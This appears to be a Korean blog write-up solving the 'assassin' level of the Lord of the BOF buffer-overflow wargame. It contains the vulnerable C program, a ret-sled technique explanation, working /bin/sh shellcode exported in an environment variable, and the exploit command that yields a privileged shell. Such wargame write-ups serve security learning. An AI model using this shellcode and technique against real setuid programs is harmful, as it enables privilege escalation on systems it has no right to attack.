/*
The Lord of the BOF : The Fellowship of the BOF
- assassin
- no stack, no RTL
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf')
{
printf("stack retbayed you!\n");
exit(0);
}
if(argv[1][47] == '\x40')
{
printf("library retbayed you, too!!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer+sfp hunter
memset(buffer, 0, 44);
}
assassin 문제의 조건은 다음과 같다.
1. buffer의 크기는 40 byte.
2. argv[1][47]는 "\xbf", "\x40"이면 안된다.
3. memset으로 buffer + sfp 영역까지 NULL로 초기화한다.
"\xbf"영역(Stack)과 "\x40"영역(Libc)은 사용하지 못하니까 text segment의 RET를 이용한 "RET SLED"을 사용할 것이다.
[giant@localhost giant]$ cp ./assassin 4ssassin
[giant@localhost giant]$ gdb -q ./4ssassin
(gdb) set disassembly-flavor intel
(gdb) disassemble main
0x804851d <main+173>: leave
0x804851e <main+174>: ret
ret 는 pop eip / jmp eip 을 수행한다.
다시 말해서 pop eip를 두 번 거치게 되는 것이다.
즉, 페이로드는 [dummy] 44byte + [ret 주소] 4byte + [환경변수 주소] 4byte가 되는 것이다.
[giant@localhost giant]$ export f1ay="`python -c 'print "\x90"*100+"\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`"
환경변수 주소를 구하는 소스는 다음과 같다.
#include <stdio.h>
int main()
{
printf("f1ay offset = %p\n", getenv("f1ay"));
return 0;
}
[giant@localhost giant]$ gcc -o ./get_env ./get_env.c
[giant@localhost giant]$ ./get_env
f1ay offset = 0xbffffe85
이제 payload를 통한 exploit을 하면 assassin의 권한을 얻을 수 있다.
[giant@localhost giant]$ ./assassin "`python -c 'print "\x41"*44+"\x1e\x85\x04\x08"+"\x85\xfe\xff\xbf"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAþÿ¿
bash$ id
uid=514(giant) gid=514(giant) euid=515(assassin) egid=515(assassin) groups=514(giant)
'# write-up > - Lord of Bof' 카테고리의 다른 글
[LOB] nightmare -> xavius (0) | 2016.12.08 |
---|---|
[LOB] succubus -> nightmare (0) | 2016.12.08 |
[LOB] zombie_assassin -> succubus (0) | 2016.12.08 |
[LOB] assassin -> zombie_assassin (0) | 2016.12.07 |
[LOB] bugbear -> giant (0) | 2016.12.06 |